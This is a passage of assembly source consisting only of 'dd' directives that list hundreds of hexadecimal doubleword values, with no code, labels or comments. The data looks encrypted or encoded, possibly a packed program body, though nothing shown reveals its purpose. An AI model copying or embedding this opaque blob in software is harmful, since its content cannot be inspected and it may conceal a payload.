		dd 4E8D56Ch, 0AD96C141h, 817D365Bh, 3F9F12F3h, 4C9AEEEBh
		dd 3171078Ch, 84E1645Fh, 26BD904Fh, 4E71078Dh, 82747C7Eh
		dd 0ED0418BDh, 8F0DF266h, 4589CD44h, 21E5BEBh, 7C7107C0h
		dd 199ABCA9h, 458A0230h, 3F263DEBh, 0A8DD2863h,	0EAC18842h
		dd 79DC5DA4h, 21287DABh, 66C48D3Ch, 40F22C06h, 58F0D3EBh
		dd 122C623Bh, 0ED2FCFE7h, 0C7F40766h, 990AF1B7h, 0A47E39B6h
		dd 312471B2h, 0FDE1B03h, 0A50AF1FBh, 87D8E8D2h,	79DC5DA5h
		dd 45892490h, 0EF097CEBh, 6E4ED6h, 3A5C141h, 9D56C7D0h
		dd 6376CA4h, 0CE19112Ch, 6A25F1D1h, 0DFFC044h, 152249Eh
		dd 31DC3F47h, 16E85374h, 6734965Eh, 20A3887Eh, 4589540Eh
		dd 81AD4BEBh, 0A30AF180h, 0C1E4B0h, 433B86BCh, 0AEE17198h
		dd 82550Ah, 9BE9D2h, 129CC141h,	45605B0Eh, 0F8BE1E52h
		dd 6D96C140h, 7669D26Ah, 9132F791h, 0C4A5C4E1h,	0A9E1718Fh
		dd 84DC8A91h, 6A39974Fh, 0C99C0E7Fh, 0A9F406E5h, 0D525EF42h
		dd 8749E15Ch, 0F698BFB6h, 0F39DEF66h, 730CE61Bh, 326BA263h
		dd 0CFD5885Bh, 0CDF287B3h, 3871078Ch, 53864DD4h, 0AEDCE39Ah
		dd 26E8020Ah, 0D9B01100h, 84E1F21Dh, 29D3922Dh,	3471078Ch
		dd 0E4DC7E60h, 0CC9DEEF5h, 9DF406E2h, 8DD5E254h, 0CC9D0E46h
		dd 5DADB5D1h, 8F892F2Fh, 0B79B1C3Ch, 4EEFE842h,	0F98BB57Ah
		dd 0BF90C140h, 79DCEA25h, 45892490h, 0EF097CEBh, 0A203DB1Dh
		dd 71413F47h, 0EED30538h, 0A9E1718Fh, 408E5C91h, 8DD5E482h
		dd 4D8660Ah, 5040C141h,	0C98A978h, 0EE8A9E88h, 433CAF4Dh
		dd 57154B52h, 4589E77Ch, 90DDB8EBh, 0E56CCBACh,	9E1EAB74h
		dd 0A50AF161h, 0DEC0B2D2h, 0A9E1ABE2h, 0D8C18A91h, 6E437BB7h
		dd 0CA167275h, 9471078Ch, 0ECFA1AB1h, 4C9AF266h, 0B671078Ch
		dd 461A997h, 7001C141h,	8DD5E227h, 0EC23CC6Fh, 3E4D5AEh
		dd 0C8CEFD1Fh, 46154BD1h, 0FF57A452h, 458A78CAh, 8F7E27EBh
		dd 2AFD9BD8h, 9DDD2E29h, 4FED4906h, 0ED2AC63Bh,	4C9AF266h
		dd 3171078Ch, 9FA9365Fh, 7B636398h, 5DE119C0h, 0FF64020Ch
		dd 668F3F29h, 4B6DA378h, 0D84E02FCh, 842174BDh,	0E72EDA4Dh
		dd 4481AD3Ah, 0F360DF47h, 0BE3EC140h, 0C10EF9C4h, 3EE66827h
		dd 919AF154h, 0A8E9F6FFh, 3A43BF6Eh, 0DED49C76h, 9FE206D3h
		dd 49A7B70Ch, 70916606h, 57154B5Ch, 89F7030Ch, 0D7BCBFDEh
		dd 5F26FED6h, 0D38B16E5h, 9B25F1DCh, 0F8B27749h, 46DA052Dh
		dd 29C5E74h, 0B4DC5DA5h, 8DD5E411h, 0CDFEC2F5h,	0DFBB4BD1h
		dd 458A9615h, 20E8FAEBh, 9FE0C663h, 737FB70Ch, 0AEE17CE4h
		dd 0EAC145C0h, 0F12D623Ah, 0CFA01917h, 81EF4681h, 6A3C5E31h
		dd 0F732840h, 8EF3C8AEh, 0CA71078Ch, 0F9FBFE22h, 60B9C140h
		dd 9DE1CF76h, 0EAC1469Ch, 0DAECAD3Ah, 17D6A8DCh, 0A231B03h
		dd 9DF406F2h, 8DD5E254h, 0D2970E46h, 572FCEE4h,	0EBA8DED7h
		dd 29CDBAE4h, 0C4829833h, 4E1C54B1h, 45E5D8A3h,	0D2970E52h
		dd 0A9F406E4h, 0B7863242h, 0F966836Ah, 4118C140h, 8DD5E25Ch
		dd 2C52C896h, 84E02C37h, 2E0F6659h, 3071078Ch, 0C75E204h
		dd 69306565h, 10ED033Ah, 3BC5353Bh, 1D71078Ch, 0F9FD04FCh
		dd 279FC140h, 0A30AAE29h, 27B8332Fh, 9DE1719Ch,	440A989Ch
		dd 4642CCB2h, 45EFAE59h, 0F8BE1E52h, 719CC140h,	0BD5A6875h
		dd 7CBA4E06h, 0AA2F49A7h, 0A8B90632h, 0D3AD6BB4h, 6C71078Ch
		dd 255A5773h, 6F5CB3h, 0D0A1F045h, 0ED2FCEDEh, 660DF266h
		dd 0F14E8A52h, 8C71078Ch, 0D1DFF2B9h, 0E7B4312Fh, 5F5C575Bh
		dd 7CD99A81h, 1A8D6159h, 68D58842h, 4589E77Ch, 0CEDDB8EBh
		dd 889AF183h, 1571078Ch, 0EABE903Ch, 0F5B6312Fh, 9331623Ah
		dd 0CF6D8B5Dh, 0C4BEDB07h, 0C4B84E2Fh, 89253A37h, 0A4D40BE0h
		dd 9CB44910h, 763119E7h, 0A50AF18Bh, 0DEC0B2D2h, 6C36AFBAh
		dd 0AEE17198h, 0C6D945C0h, 0C4B84E2Fh, 7E2A3A37h, 6DFDF3BAh
		dd 0FB5ED26Ah, 0A60B14CFh, 16555CF6h, 1862D1Ch,	0E6B93030h
		dd 0E911438Fh, 3A953C9Fh, 0E23DB07Ah, 6DF40766h, 92FA6178h
		dd 0C2B114B1h, 8DD5DF16h, 0D2FC5CFFh, 8DD5E325h, 1E306614h
		dd 3E87719Bh, 4588DB2Bh, 0C79D3DEBh, 1739AD3Ah,	9E093F07h
		dd 891514DAh, 84DC87BEh, 578D992Dh, 261B7266h, 9E2AC632h
		dd 0AD489AE1h, 0D60DF1A1h, 8DD5E3CCh, 834EEC91h, 0C6069C4Dh
		dd 7AAFD6F4h, 0D4E70BDAh, 0C2D4B5h, 0D60DF189h,	8DD5E3CCh
		dd 915836D9h, 0CC9D0E56h, 9DF406E2h, 727CBA5Ah,	0F7A10E60h
		dd 75AA7334h, 1986FF2Ch, 2EBE8901h, 1DEEF8A6h, 0FAB93D3Fh
		dd 83C51820h, 1863007h,	0EED30530h, 0A9E1718Fh,	408E5C91h
		dd 8DD5E482h, 149DCD1Bh, 45629964h, 0F7A10E52h,	122A0D97h
		dd 98D6E54Bh, 0A9DD2837h, 0D8C18A91h, 0B790CCC0h, 0D60DF1B8h
		dd 8DD5E3CCh, 315836D9h, 0B490A8F6h, 0A671078Dh, 0B01338A7h
		dd 458AACBBh, 1B9CF7EBh, 6E2FCEEFh, 36D1FC7Bh, 0E271078Ch
		dd 5725980Dh, 2282550Ch, 762E653Dh, 0E371078Ch,	0D71880DDh
		dd 95B10626h, 186307Ch,	3BC5353Bh, 5A71078Ch, 0C4BD136h
		dd 0F952BE31h, 0D3A8365Eh, 9C0AF1D6h, 0D8BCDDBBh, 919EEE3Fh
		dd 0D638FB93h, 0CC9DEED2h, 9FE206E2h, 73AAB675h, 9DE17F87h
		dd 4487989Ch, 455ACEEBh, 0CC9D0E52h, 6E2FCEE2h,	0CD58D37Bh
		dd 0CC9DEED1h, 56F406E2h, 0C90B55D7h, 83D510h, 457374EFh
		dd 6C8C2BEBh, 5F6DB6A3h, 9F068132h, 6E11E491h, 0CD73689Fh
		dd 0CDF287B3h, 9071078Ch, 68E00AE5h, 5673689Fh,	0CEF8010Ch
		dd 8DD5E411h, 478B29F8h, 0F9F5C2EAh, 29A1C140h,	3D24AC26h
		dd 84DC5DA4h, 578D992Dh, 9E608A66h, 4EEAD972h, 12573201h
		dd 377107DDh, 0AC017F71h, 4A91288h, 80250273h, 0B7863028h
		dd 345D209Fh, 3A12A020h, 0EABC689Eh, 3BC5353Ah,	1D71078Ch
		dd 0FF512B73h, 0DF2B6038h, 0C0EDCEF4h, 0DEF3BCCBh, 92CC61Ch
		dd 2E710801h, 0FBA4C3ABh, 1BCAC140h, 0AFDE047Fh, 449A30Ch
		dd 6B9C141h, 8DD5E3D2h,	431CA437h, 458A6373h, 96493CEBh
		dd 79DCBAD9h, 45892490h, 675364EBh, 0B1B2E103h,	57154B69h
		dd 2911292Fh, 6671078Ch, 7511C391h, 89A878CFh, 3FE324B9h
		dd 3313C140h, 0AFDBD8BAh, 0D843623h, 7DD1AD3Bh,	2347857Ch
		dd 19B351CAh, 0FCA4C140h, 3E84450Dh, 0CCDDCE84h, 0BC7107CEh
		dd 419626F8h, 0ABF673F8h, 9D7F2E85h, 437DE6FDh,	0C69BEEE4h
		dd 572FD2C0h, 0FF64020Ch, 4EBAB829h, 0EDAEE3E4h, 4DE91D14h
		dd 4632C65Dh, 0DF3A99EBh
		dd 6DF4076Dh, 5656A569h, 0A1BE20D7h, 8C24AC47h,	446489F6h
		dd 0D3857878h, 78D2AAAEh, 72E6AAh, 554B3F97h, 3BEE3BECh
		dd 6DD305EFh, 0D42A629Fh, 0EED3F0AEh, 0FE72718Fh, 84E02862h
		dd 9239974Fh, 2DE496h, 0C147C54Bh, 0FE45A9AEh, 0CFAEE25Ch
		dd 9FD588D1h, 8DD5E254h, 0AAB73246h, 0C4BE6B8Dh, 0BC0A302Fh
		dd 8DD5E232h, 0F83F6483h, 0A9DD2863h, 0F965540Bh, 4556A537h
		dd 2DF6D674h, 0F404CD5h, 0A37A103Fh, 571E1227h,	1D20F9D7h
		dd 0D2530495h, 721530A6h, 46310A58h, 1EECFCEBh,	2B6BC62Bh
		dd 6B6B7D2Dh, 59873F71h, 31DC459Ch, 43774A6Ah, 6F1B803Fh
		dd 8DD67F4Ah, 0DE9ACA98h, 0CD4A8106h, 0AA9DEED1h, 8E8A964Eh
		dd 0EAC188BFh, 0F4B9302Fh, 3CFEC7E4h, 0F3228361h, 0DFD7EBD1h
		dd 31E1F00Fh, 0A6DE992Eh, 0B8A01D19h, 0D31B7468h, 3F6BC629h
		dd 8E865AA1h, 922CE067h, 0AD71078Ch, 3C25156Eh,	0FE5F9F94h
		dd 4B71078Ch, 0F238B37Ah, 0FC25F1B6h, 20EC70E5h, 6038DF56h
		dd 0ACE69407h, 0E4793A84h, 2D3A4F31h, 45E4022Bh, 9DDD32EBh
		dd 287989Ch, 8DFEFAEEh,	0EABCBFDEh, 0D42A623Ah,	23EBF0AEh
		dd 57154BA8h, 8842000Ch, 60F5353Bh, 0EC0CAA87h,	4589651Eh
		dd 0E05DFBEBh, 2E56439Ah, 9D5C6DE6h, 8DD5E229h,	0B43CED7Bh
		dd 99797AD3h, 9DDCCA85h, 4032989Ch, 8DD5E496h, 79277C7Fh
		dd 0C6FAED1Ah, 0CA8579C2h, 0D60DF1D1h, 8DD5E3CCh, 0A6E74BD9h
		dd 0E817F717h, 3DEACFE8h, 7CD60D35h, 742500F0h,	2329FC33h
		dd 8AD95AF6h, 0AA78E554h, 68D7536Dh, 2A57A478h,	0E4B1BEF9h
		dd 0C6D6073Eh, 0C01DD45Fh, 0A8DCE378h, 62309A42h, 94FEFAEDh
		dd 0F5B9C0E3h, 0A8E1718Fh, 0C6D98842h, 8031053Fh, 660DF128h
		dd 7EAADF27h, 458AF56Eh, 0B3949AEBh, 0ABD800E9h, 0B6D7E205h
		dd 0A8E17144h, 0EAC18842h, 0C4B84E2Fh, 5D2D2837h, 0C023FC39h
		dd 0E3B9302Fh, 79D782A1h, 0F8AC9124h, 9C477Eh, 0C79EF045h
		dd 6E2FD2B7h, 4559A478h, 367B1E52h, 47895D1Ah, 864A58EBh
		dd 88AE4739h, 0CC5327Dh, 458A8EACh, 0A35244EBh,	53A33E5Ch
		dd 0F54986B4h, 0AB4C7F7Dh, 0A8DC6B8Dh, 4C0770F3h, 404EC47Fh
		dd 0D4385BEBh, 3AFA690h, 9E28FBB9h, 85C2FF9Dh, 0EAC1A6DEh
		dd 0F628623Ah, 0CBA0DBC2h, 9FE20A83h, 737FB70Ch, 85317CE4h
		dd 96B9B90Bh, 0EFB6042Fh, 79E4D7F5h, 0DF00DE0h,	0A1B0F40Fh
		dd 6A80F2D4h, 18631ECh,	9528623Bh, 458A86BEh, 0F8FECAEBh
		dd 105A6385h, 9F9DA713h, 246B65B2h, 0F6D9273Fh,	2566C140h
		dd 0EAC14048h, 0DB2B623Ah, 2E2F2272h, 0DBB21196h, 1B8EC8E5h
		dd 455BD254h, 0A891E52h, 0ABA8B8F9h, 1863242h, 50ACAD3Bh
		dd 4E69B61Ch, 0ADE4E26h, 0C5EDD223h, 458AD224h,	102F91EBh
		dd 0F7EAF3DBh, 0C4B84E3Bh, 9527623Ah, 0AA7C445Ch, 7BDA536Dh
		dd 51B6851h, 0C41BC141h, 0A9DCCDF4h, 0EAC18A91h, 0C4B84E2Fh
		dd 0AEE1718Fh, 7CD945C0h, 24875F59h, 6FA74650h,	4573689Fh
		dd 311FF74h, 0A9DE6632h, 43887191h, 68D13636h, 1A6241FAh
		dd 6E11E37Dh, 0CD5BD26Ah, 80B89D1h, 8E095B39h, 0D4EBC014h
		dd 0BB3FD144h, 30E20781h, 0A743F909h, 3F434710h, 9331622Ah
		dd 0A36B7D5Bh, 0AFBFEBD2h, 79DC88BFh, 45892490h, 5E6A64EBh
		dd 7BD2A020h, 23FA16DFh, 0F8BF02A8h, 0A996C140h, 9A0AEF42h
		dd 0D903B5A9h, 0CC9435C3h, 0C99CF2B7h, 9DF406E5h, 0ADA6CDE2h
		dd 59B802FCh, 44A762Fh,	35ADC141h, 129E65BCh, 4E49730Eh
		dd 849C0E3Bh, 0F658924Ah, 4633D65h, 0A178C141h,	516D25Bh
		dd 8A01C141h, 0EAC17F87h, 0E6B9302Fh, 122C623Ah, 21F1EED1h
		dd 0D0A1EEDAh, 53A463B0h, 0E72B3ECBh, 3B1D74E9h, 40B1ECA2h
		dd 0AAB73252h, 0AEDC6B8Dh, 84DC45C0h, 0B88982Ch, 45862CE8h
		dd 84D130EBh, 68E119DEh, 455BD26Ah, 0D825F152h,	0BF9A0CCDh
		dd 474A7E58h, 0D0972F6Ah, 9B5950h, 9C0AEF45h, 0DE1B7BBh
		dd 8F34C884h, 0E84DAA08h, 10E640EFh, 40B0A036h,	2484FEEBh
		dd 40AF5A1Ah, 95B147EBh, 6E326E7Ch, 455BD26Ah, 6ECF1E52h
		dd 0A95FF37Bh, 1863242h, 0E6B93030h, 3BC5353Ah,	0A571078Ch
		dd 0FDF5CC19h, 538B423Ah, 6D5932D7h, 827C8B30h,	3156647Fh
		dd 10A4C3ABh, 1BCAC138h, 0DB010900h, 62BBC137h,	0EABC6D94h
		dd 4D6B4B8Eh, 4D608A09h, 8DD5E3A5h, 5AADAE61h, 8DD5E22Ch
		dd 0E3F9D746h, 0E6B9302Fh, 6C2D2837h, 8571078Ch, 84DC8EB5h
		dd 0AA92982Ch, 70EE698Bh, 0A09AA65h, 4E3EE8BAh,	3DD4FF1Eh
		dd 5A9DC140h, 4B65540Ch, 0EFBC3B54h, 0FE6E2837h, 2BB0353Dh
		dd 8A512AFh, 0D048E15Ch, 0C1710ABAh, 0EAC1D4D3h, 0E6B9302Fh
		dd 0F02D2837h, 6D2327A6h, 0BC0A303Bh, 8DD5E232h, 0F83F6483h
		dd 84DC719Bh, 0F60A974Fh, 40A0B62Dh, 55B433Dh, 79E10BC6h
		dd 45892490h, 0D5727CEBh, 8750563Dh, 0D7BCBFDEh, 67771488h
		dd 90058B4Ah, 81768A28h, 0C798CD3Ah, 6E11E491h,	565BD26Ah
		dd 8842000Ch, 0AAE17198h, 1D8E5C44h, 565BD3ECh,	44A762Fh
		dd 77ADC141h, 6E1EE2E3h, 455BD26Ah, 0F3F21E52h,	6D9C9269h
		dd 0CD5BD26Ah, 0CDF287B3h, 9071078Ch, 98E00AE5h, 2801E748h
		dd 0CB9EECE8h, 9B03E8B6h, 2801E7EDh, 0FE100DB0h, 3BC5353Ah
		dd 1D71078Ch, 14258973h, 0C20BDFA9h, 0A176AAAEh, 7CDAE160h
		dd 450EAD3Bh, 7479A15Eh, 5DD7536Bh, 0F965540Ch,	27615D37h
		dd 7CD609C4h, 24875F59h, 6FA74650h, 455BD26Ah, 0C69B0E52h
		dd 91A8E3AFh, 738D1B0Bh, 0B0647738h, 0AADC6B8Dh, 53F012Eh
		dd 0D9BD14D0h, 3159438Fh, 45874718h, 527A55EBh,	8DD5E3A3h
		dd 0A3091093h, 0E6B9302Fh, 0AAE1718Fh, 0F669FF2Eh, 4559A436h
		dd 990AF152h, 314A39B6h, 0E6A3EDF6h, 0CCD0560Eh, 0D6E6041Fh
		dd 18630DCh, 612B623Bh,	0CEE4DF05h, 6D3DBCBBh, 0AAE17198h
		dd 7CD98A44h, 20A36359h, 28938A74h, 0B78630D9h,	0B24C219Fh
		dd 6E2FCF91h, 91317C9Eh, 4C8AD298h, 2866D379h, 0D9B0C200h
		dd 426C43E7h, 4B665CEBh, 9E2AC665h, 4DDAE803h, 0AAB7339Eh
		dd 0AADC6B8Dh, 0EAC18A44h, 0E6B9302Fh, 0AADD2837h, 0C6D98A44h
		dd 7213BAh, 0DA25EF45h,	298712B7h, 0EB206366h, 4B853FC2h
		dd 10E4CDDFh, 69BCDCD3h, 0BA3FA43Fh, 0CB3CCC6Eh, 0A598EED1h
		dd 30043ABBh, 0F2A12286h, 0FDF5C137h, 0E405B527h, 79DBEE14h
		dd 45892490h, 7C727CEBh, 0CB1896C3h, 0D5E525BBh, 0B98F9A9Dh
		dd 84DCEA25h, 7492982Ch, 0EEEBD078h, 36B891F7h,	0A28DD3C9h
		dd 44B930CAh, 0F9E51E52h, 0B4CBC140h, 9A0AEF42h, 1F12BBA6h
		dd 50D3B2ACh, 44D378EDh, 66E3BEEEh, 37979E58h, 0D34324CDh
		dd 88EBD30h, 0E0593CE2h, 0B39E9A33h, 29241AFCh,	0F4B9303Bh
		dd 0A842C6E4h, 516D25Bh, 8A01C141h, 0CDFEF087h,	9C0AF1D1h
		dd 51B6860h, 0C41BC141h, 0B105C68Ch, 0C6D9ADD5h, 0AB8B765Fh
		dd 9F05C128h, 5711E491h, 0B70A03D7h, 2299993Ah,	0AA2CDCC7h
		dd 2C917CB4h, 0F242C140h, 8662236Dh, 0CA8FCC82h, 7F9CEED1h
		dd 5B224028h, 0AFDD2840h, 0D8C188BFh, 0CA6DCBC0h, 0C99CEED1h
		dd 6E2FCEE5h, 4556A569h, 0A8661E52h, 4995EA79h,	95D787C2h
		dd 0D296F4D0h, 6FA643h,	50483F97h, 172C2EDh, 59B644E2h
		dd 0F965540Ch, 1A2BFA28h, 4BB6E2EAh, 2E033BA3h,	6D52E6EFh
		dd 0F07107D9h, 0CA833BC4h, 5E3388B3h, 46384265h, 0E6B93038h
		dd 0AFDD2837h, 62359ABFh, 4558D0EDh, 0AAB73252h, 0AEDC6B8Dh
		dd 6B3297C0h, 0CD5DD21Ah
		dd 46154BD1h, 0C69B0E52h, 5DF135D2h, 3BF9FDE0h,	0B2DB2711h
		dd 4E5CC164h, 0EAC15B82h, 5D319EB9h, 0C471078Ch, 6FA643h
		dd 5659A645h, 7285E3D7h, 50836D90h, 59F4B6h, 49D64B94h
		dd 0D2B8B549h, 0DECDE7F3h, 0E52D3A37h, 8DD5E3E7h, 23B303F2h
		dd 8DD5E3DBh, 3AFF451Bh, 0A7AE42Bh, 1679B668h, 0EB9A2B0Bh
		dd 0AE77C82h, 0AACE3336h, 0FEF1D22h, 0B82DB32Ah, 0EED3052Fh
		dd 0A9E1718Fh, 0C6D98A91h, 0EAEAD3Ah, 0CBE9BF3Fh, 3CBFD9D5h
		dd 0DF0CC140h, 84B71B19h, 0D4376643h, 0B78630DCh, 0F966836Ah
		dd 92B1C140h, 5353455Dh, 5B21687Ch, 0EED30538h,	0A9E1718Fh
		dd 8516DBD6h, 0B5DEAE3Fh, 0E1D2FE72h, 0A59EC54Dh, 32C7DEBCh
		dd 98E0C31Ch, 458AD76Ch, 0A29C9EBh, 0C7BF5EF2h,	0D65494Eh
		dd 8DD5E3E5h, 37E96E21h, 5EA0C233h, 18631E8h, 0EED30530h
		dd 932A623Ah, 458AB1A0h, 26F9ACEBh, 5E5735A8h, 0BE89A907h
		dd 1F3AA7B3h, 1605975Dh, 0D03924BCh, 0B2FA80A2h, 0EED3053Ch
		dd 0B30D2837h, 5DE2552Bh, 44A762Fh, 77ADC141h, 456D4CE3h
		dd 0EED30538h, 0D42A623Ah, 6D5C6DC4h, 4573689Fh, 9A0AF152h
		dd 0D903B5A9h, 260E8DC1h, 0AADCCA78h, 358B7144h, 2E0F6252h
		dd 48191E0Ah, 629FE36Ah, 0A76B0C7h, 71413F09h, 0DCD30538h
		dd 0FBE32488h, 0FC13C140h, 0EABE653Ch, 433BA05Fh, 84DB14EBh
		dd 9239974Fh, 2169D382h, 0EA12C1C7h, 0FE6E2837h, 0DD31623Dh
		dd 0E9EEEFF5h, 458AA300h, 0E722DEBh, 0A9E1719Ch, 0C6D98A91h
		dd 974AD3Ah, 606A2B25h,	889E6386h, 913B959h, 0EB7AB41Eh
		dd 0A9E14401h, 0D8C18A91h, 0FFBCCBB7h, 40EC140h, 81992476h
		dd 9E9582D0h, 2A91B69Eh, 0C77891B3h, 0CCE2A579h, 0EFCB7F55h
		dd 0DE2C929Eh, 73CDFD7Ah, 5913899Ch, 34005670h,	12AFA57Ah
		dd 0E2460AC8h, 8EA0B97Fh, 6EDC8675h, 456F5E00h,	1D2F60DEh
		dd 0F801CEB3h, 0A02B4D0Eh, 85CDA51Ah, 869E4D6Bh, 819863CCh
		dd 0C27D82D0h, 0C68FFD6Eh, 13812D79h, 0F52DFFCBh, 0DCCE23B1h
		dd 755D879Eh, 6E488083h, 86642B5Ch, 10A865CCh, 7F94B72Dh
		dd 6591DA7Fh, 0EAA0015h, 0A459067Ch, 2EEBC721h,	7F11816h
		dd 9EDDF2C9h, 448BE782h, 5D9CA569h, 0C044DB60h,	0C4A5ED53h
		dd 0ADC9EAA5h, 6591DC0Bh, 0DC1DA1DFh, 0DB6EB97Fh, 0EB3AF764h
		dd 8F86406h, 0EBE7ADEAh, 3C37AFCFh, 85074591h, 20C6F7FDh
		dd 0AEE94350h, 0D942291Bh, 8C9855E3h, 6591DC50h, 0A5BABB34h
		dd 0A5AE7FF2h, 682DFFCBh, 0D33B918Dh, 7608B97Fh, 45E95C30h
		dd 0D2FB61BCh, 0BE74BBE9h, 17123BCEh, 2AA6012Ah, 0AA530670h
		dd 2EB0FF23h, 23214C4Bh, 0FDF62E43h, 0DA1DF9B5h, 0D859D6C1h
		dd 1955B97Fh, 5C9C2795h, 884C9299h, 839863CCh, 0C27D8182h
		dd 0C68FFD6Eh, 819D69CEh, 27A9F94Ah, 75E6BE7Ah,	4E1849A5h
		dd 8274FD73h, 519763CCh, 2FCE08EAh, 7C4E7E8Dh, 65927A75h
		dd 0B279B51Eh, 0A47EF207h, 0A459E710h, 45B0FF21h, 4EE35BBCh
		dd 0C626809Bh, 45B002FCh, 0CF155FDDh, 15C5E536h, 0CDD5CCBDh
		dd 4B4EB53h, 27033BA4h,	30234B2Ch, 0E0ECB97Fh, 0CCA7FD3Eh
		dd 1DA09D64h, 4813232Ah, 8F4228B2h, 5D02EEDEh, 8259E7A5h
		dd 344B918Eh, 13D67CF9h, 0A5F2D5A9h, 45EBCAF9h,	2E129DA8h
		dd 0CB30B716h, 9DB9BB54h, 24B45FE2h, 1F166634h,	689974DAh
		dd 188317F4h, 49E7A2Ah,	0E2E8C21Fh, 17B83E5Bh, 0EB83C749h
		dd 9E57EA54h, 45EBCAFFh, 534FB1DEh, 51C9285Dh, 9E9007F6h
		dd 70C6276Eh, 9452C9ABh, 9C2AE622h, 0D48293C5h,	0C2FF4B29h
		dd 75273C04h, 0C332A4F4h, 3393DA96h, 0AE0C9FA2h, 0B533FC05h
		dd 6E535E61h, 7C0616D7h, 7422D705h, 943C1219h, 9778E322h
		dd 0F405035Dh, 2CBB5063h, 0CE71AA7Fh, 74DE8285h, 9CFA2F4h
		dd 795A6780h, 5EC58F30h, 0C02DD83Dh, 0AB507C5Ah, 0E0332D03h
		dd 0F9AB59A9h, 0ED4E1266h, 27AD0B78h, 79238D18h, 0E473E6F5h
		dd 1A6C1A5h, 0E3B37E53h, 7E80E145h, 0F41BDB53h,	2CBB5063h
		dd 0B18D1F7Fh, 0AE33FC05h, 6E56F250h, 217021D7h, 3FC3B005h
		dd 41CF5D40h, 5A7D362Ah, 0F7B35D1h, 6E5AAE4Eh, 0FA1C033h
		dd 44B05DBAh, 216D1D38h, 44C3B005h, 0C57E304Fh,	0D48112F6h
		dd 0D7A8F6FBh, 87800CA6h, 1DC6E835h, 0F4ECFF42h, 2CB90696h
		dd 0F9211B7Fh, 2F25BDD3h, 73C3B005h, 4B9585B6h,	5BEE62D3h
		dd 318A35D1h, 27AC5182h, 16F9F718h, 27AC4C7Bh, 0EA0FB418h
		dd 0A747F53Ch, 893B6A1Fh, 0DD85198Bh, 561BD5A4h, 0B7B2E61Ch
		dd 0CF33FA5Ch, 70F72897h, 0FD651CAAh, 27C0BDE0h, 0F57E307Fh
		dd 94029199h, 8B74E322h, 0C41BDB01h, 0D48296ADh, 0F956264Ah
		dd 65CC7684h, 2297B6A7h, 0C1E84C31h, 0CE9D82Ah,	0A75917C8h
		dd 5D346634h, 516A236Eh, 52011E03h, 10C47269h, 0B6E2044Ch
		dd 2CF33C68h, 5B29A74Dh, 4600202Ah, 27A76BD8h, 5D348A18h
		dd 215B285Dh, 0F0C4635Ah, 94AC4F62h, 8B74E322h,	0BF2DE601h
		dd 58204E5Bh, 3EC46A24h, 0F4581C75h, 0F9B90696h, 5BD28484h
		dd 46BEE9DCh, 6E21B1C8h, 0E151F353h, 2C1CA295h,	0E03456A7h
		dd 0FADC272h, 26AA6AC1h, 177E48B6h, 47FE3E95h, 349DA475h
		dd 627ADF15h, 2399AEE1h, 349DA475h, 11278B6Dh, 25EED177h
		dd 8B3C6580h, 3D296CE5h, 64BE3D16h, 0B477F8F3h,	58C6BD5Dh
		dd 0B3B0746Dh, 0E1303939h, 0ADD21C42h, 0C8BBC028h, 24EDD168h
		dd 3486F8F3h, 493B61C0h, 89A815F0h, 0A5FCA8F5h,	1B70022Ah
		dd 0EBE8C1CCh, 0F99771FCh, 68233261h, 100FA20Fh, 4729EC0Fh
		dd 0F8AFBE06h, 1E663261h, 79796982h, 0F8BDC940h, 0EC153261h
		dd 8D644F3Ch, 9700E473h, 0B40EFB78h, 3B2BECB8h,	0F87593AEh
		dd 0B79E3261h, 4FE8C4B8h, 723E61EDh, 9097E46h, 0B40FA081h
		dd 7743A6B8h, 4A6118F0h, 0F903A168h, 0A9F83261h, 687BDD17h
		dd 8D645082h, 0B005CC25h, 4180F982h, 402141F2h,	74B32070h
		dd 718D0BDh, 5D7ADF08h,	4A61AE16h, 13D3F545h, 0C736A86Dh
		dd 0DE3E45A8h, 43396290h, 5DE8C1C4h, 0B2F57443h, 543E6521h
		dd 0ADE8C21Bh, 0FDE71703h, 0C33AA606h, 4A61772Dh, 269FA275h
		dd 7FEB996Dh, 0E2412F37h, 84691E7Ch, 0D109884Dh, 0A741AF73h
		dd 0EB1E1D2Ah, 0BAF3659Bh, 0C0120E2Fh, 0BFF2F997h, 0F561248Ah
		dd 0A31615Bh, 74D081A0h, 58B0B46Eh, 105BEB22h, 2B1A3260h
		dd 0F33F46BEh, 543E640Dh, 9AE8C21Bh, 0F1143F65h, 0B4F1C5D9h
		dd 0AD0BCEB8h, 5AE7166h, 4729DF08h, 98B15B13h, 9A2C561Dh
		dd 0B4F04C35h, 165417B8h, 0F992EF79h, 8D416E58h, 825AE3C3h
		dd 4A62B3EDh, 8EEA0668h, 608F9B15h, 0AAE024F9h,	0E64D3714h
		dd 4A64AA41h, 0F3280E01h, 0C5CBB10Bh, 0B9ADD885h, 0B080F392h
		dd 9A85A7BBh, 0B4F04C35h, 8E7D17B8h, 0F903A168h, 0A9F83261h
		dd 0ADE8C523h, 24EDD203h, 259EF8F3h, 0F3359119h, 0FCDB3261h
		dd 239C8368h, 4A61762Eh, 2580A375h, 0E4F228EEh,	91FF9B69h
		dd 0A81A7562h, 1EEBD168h, 0C6AA62DDh, 458D6262h, 8D6450A6h
		dd 1E199FAh, 0B5D964ABh, 0AC46EB4Fh, 0F8B1DD74h, 0AE293261h
		dd 0A4174E79h, 735F3B8Ah, 7E2CD42h, 53711BC7h, 5EDB80DAh
		dd 86D6E2C4h, 75599831h, 0ADE8C545h, 7217CA36h,	9AD4DB7Bh
		dd 8D64CF4Fh, 4C362211h, 41CC15FBh, 8F296CF1h, 7469FA1Ah
		dd 9D7D4013h, 4183365h,	0D7E5B268h, 1ED7A778h, 637C6825h
		dd 0F9113E66h, 9AE20F6Bh, 0BC024ECCh, 6BF3E3D4h, 637A04ECh
		dd 8062E700h, 8E93AEB1h
		dd 0F0DFAE22h, 6A7771FBh, 9C66E14h, 100F9FA2h, 0ADF20668h
		dd 0F62638FDh, 1B78FCD3h, 9082DE61h, 199930D8h,	4C2B55E2h
		dd 453F61E8h, 9AC269EEh, 0C797DCCh, 95045ECDh, 7FA13621h
		dd 0C936A884h, 0E0273FA2h, 8670FF96h, 0AE5A2708h, 49DBBCB8h
		dd 8D6502A2h, 616CDCBEh, 160E9297h, 9AABD597h, 4183365h
		dd 24EFD068h, 0CC86F8F3h, 458D6268h, 8D6450A6h,	50CAF602h
		dd 441D5014h, 330D3E0Dh, 674EB8Dh, 0DD238B5Eh, 4CC74C84h
		dd 0F498DB26h, 0D42EDE88h, 674EB8Eh, 5BFF3670h,	0FB045F93h
		dd 510A92B9h, 0E6041126h, 48B90775h, 720EBFB4h,	4E9E4232h
